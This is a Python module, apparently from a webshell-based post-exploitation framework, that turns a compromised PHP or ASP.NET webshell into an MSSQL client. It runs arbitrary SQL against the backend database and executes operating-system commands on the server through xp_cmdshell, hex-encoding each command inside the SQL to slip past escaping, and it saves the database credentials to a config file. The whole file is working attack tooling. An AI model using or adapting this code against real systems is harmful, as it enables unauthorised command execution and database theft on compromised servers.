r'''Mssql client.

'''

from api.exploit import WebshellExploit, Cmdline
from api.webshell import WebshellSession, Webshell, CommandExecutor
from api import Session, utils, logger, tablor, colour
import argparse
import json
import base64
import re

class exploit(WebshellExploit, CommandExecutor):
    
    def __init__(self):
        super().__init__()
        self.parse = argparse.ArgumentParser(prog='mssql', description="Mssql client.", 
            epilog="Before executing the SQL statement, you must first establish a connection.")
        self.parse.add_argument("-e", "--exec-cmd", help="Using `xp_ cmdshell` executes system commands.")

        query_group = self.parse.add_argument_group('Query options')
        query_group.add_argument('-i', '--interactive', action='store_true', help="Enter the interactive mode to execute SQL statements continuously")
        query_group.add_argument('sql', nargs='?', default=None, help="A SQL statement.")

        state_group = self.parse.add_argument_group('Set status options')
        state_group.add_argument('-c', "--connect", help="Perform connection test.", action='store_true')
        state_group.add_argument('-H', '--host', help="Specify the host name.")
        state_group.add_argument('-P', '--port', help="Specify the host port.")
        state_group.add_argument('-u', '--user', help="Specify the database user name.")
        state_group.add_argument('-p', '--password', help="Specify the database connection password.Do not specify a value to blank.", nargs='?', const=True)
        state_group.add_argument('-d', '--database', help="Specify the name of the current database.Do not specify a value to blank.", nargs='?', const=True)

        show_group = self.parse.add_argument_group('Show options')
        show_group.add_argument('-s', '--show', help="Display current connection information", action='store_true')
        self.help = __doc__+self.parse.format_help()

        self._host = 'localhost'
        self._port = 1433
        self._user = 'sa'
        self._password = None
        self._current_database = 'master'
        self._last_connect_status = False

    def _connect(self)-> int:
        ret = self.evalfile('payload/connect', host=self._host, port=self._port, user=self._user, 
            password=self._password, database=self._current_database)
        ret = ret.data
        if ret is None:
            logger.error('Connect error!')
            return self.STOP
        ret = json.loads(ret)
        if ret['code'] == -1:
            msg = base64.b64decode(ret['msg'].encode()).decode(self.session.client.options.encoding, 'ignore')
            logger.error('Connect faild!')
            logger.error(msg)
            self._last_connect_status = False
            return self.STOP
        elif ret['code'] == 1:
            logger.info('Connect successfully!', True)
            self._last_connect_status = True
        elif ret['code'] == 0:
            logger.error("Can't find function `sqlsrc_connect`, the server may not have the SQLSRV extension installed.")
            self._last_connect_status = False
            return self.STOP
        return self.SUCCESS

    def _show(self)-> int:
        table = [
            ['Host(Instance name)', self._host],
            ['Port', self._port],
            ['User', self._user],
            ['Password', self._password],
            ['Current database', self._current_database],
            ['Last connection', colour.colorize('Success', 'bold', 'green') if self._last_connect_status else colour.colorize('Failed', 'bold', 'red')]
        ]
        print(tablor(table, False, indent=''))
        return self.SUCCESS

    def exec_command_on_server(self, cmd:str)->str:
        encoding = self.session.client.options.encoding
        byte_cmd = cmd.encode(encoding, 'ignore')
        sql = f"declare @b binary({len(byte_cmd)})=0x{byte_cmd.hex()};declare @c varchar({len(byte_cmd)})=cast(@b as varchar({len(byte_cmd)}));exec master..xp_cmdshell @c"
        ret = self.evalfile('payload/query', host=self._host, port=self._port, user=self._user, 
            password=self._password, database=self._current_database, sql=sql)
        if not ret.is_success():
            return None
        ret = ret.data
        ret = json.loads(ret)
        if ret['code'] == 1:
            if ret['result']:
                r = [base64.b64decode(t[0].encode()).decode(encoding, 'ignore') for t in ret['result']]
                return '\n'.join(r[1:])
            return ''
        return None

    def _query(self, sql: str)-> int:
        ret = self.evalfile('payload/query', host=self._host, port=self._port, user=self._user, 
            password=self._password, database=self._current_database, sql=sql)
        ret = ret.data
        if ret is None:
            return self.STOP
        ret = json.loads(ret)
        encoding = self.session.client.options.encoding
        if ret['code'] in (0, -1):
            msg = base64.b64decode(ret['msg'].encode()).decode(encoding, 'ignore')
            logger.error(msg)
            if ret['code'] == -1:
                self._last_connect_status = False
                return self.STOP
            return self.ERROR
        elif ret['code'] == 1:
            result = []
            for row in ret['result']:
                tmp = []
                for val in row:
                    val = base64.b64decode(val.encode()).decode(encoding, 'ignore')
                    tmp.append(val)
                result.append(tmp)
            print(tablor(result, indent=' '))
            logger.info(colour.colorize(f"{len(result)-1} rows in set.", 'bold'))
        elif ret['code'] == 2:
            affected = ret['affected']
            logger.info(colour.colorize(f"Query OK, {affected} row affected.", 'bold'))
        elif ret['code'] == -2:
            logger.error("Can't find function `sqlsrc_connect`, the server may not have the SQLSRV extension installed.")
            self._last_connect_status = False
            return self.STOP

        self._last_connect_status = True
        return self.SUCCESS

    def _interactive(self)-> int:
        logger.info("This is just an interactive window that continuously executes SQL statements. ")
        logger.info("Type `exit` or `quit` or Ctrl-C to exit.")
        try:
            while True:
                prompt = colour.colorize('mssql', 'underline')+'('+colour.colorize(f"{self._user}@{self._host}", fore='green')+')'+\
                    f" [{colour.colorize(self._current_database, fore='yellow')}] > "
                sql = utils.input(prompt)
                if sql == '':
                    continue
                elif sql in ('exit', 'quit'):
                    break
                elif sql == 'clear':
                    self.session.exec("clear")
                    continue
                elif sql.startswith('use '):
                    match = re.fullmatch(r'use\s+(\w+)', sql)
                    if match:
                        old = self._current_database
                        self._current_database = match.group(1)
                        if self._query(sql) == self.ERROR:
                            self._current_database = old
                    continue
                self._query(sql)
        except KeyboardInterrupt:
            logger.info("KeyboardInterrupt")
        return self.SUCCESS

    def run(self, args: Cmdline)-> int:
        args = self.parse.parse_args(args.options)
        ret = self.SUCCESS
        if args.host:
            self._host = args.host
            if not args.connect:
                logger.info(f"Set host => {args.host}")
        if args.port:
            self._port = args.port
            if not args.connect:
                logger.info(f"Set port => {args.port}")
        if args.user:
            self._user = args.user
            if not args.connect:
                logger.info(f"Set user => {args.user}")
        if args.password:
            self._password = args.password if args.password is not True else None
            if not args.connect:
                logger.info(f"Set password => {self._password}")
        if args.database:
            self._current_database = args.database if args.database is not True else None
            if not args.connect:
                logger.info(f"Set current_database => {self._current_database}")

        if args.connect:
            ret = self._connect()
        elif args.show:
            ret = self._show()
        elif args.exec_cmd:
            r = self.exec_command_on_server(args.exec_cmd)
            if r is not None:
                print(r)
            else:
                logger.error(f"Exec command `{args.exec_cmd}` failed!")
                ret = self.STOP
        elif args.interactive:
            ret = self._interactive()
        elif args.sql:
            ret = self._query(args.sql)
        else:
            ret = self._show()

        return ret
    
    def support(self, session:WebshellSession)-> bool:
        '''判断当前命令是否支持指定的session， 一般来说session即为运行改命令时的session
        '''
        self.session = session
        return isinstance(self.session, WebshellSession) and self.session.server_info.lang in (Webshell.PHP, Webshell.ASP_NET_CS, )

    def hook_loaded(self):
        data = self.load_config("mssql-config")
        if data is None:
            return
        self._host = data.get('host', 'localhost')
        self._port = data.get('port', 1433)
        self._user = data.get('user','sa')
        self._password = data.get('pwd')
        self._current_database = data.get('database', 'master')
        
    def hook_destroy(self):
        data = {
            'host':self._host, 
            'port':self._port,
            'user':self._user,
            'pwd':self._password,
            'database':self._current_database
        }
        self.save_config('mssql-config', data)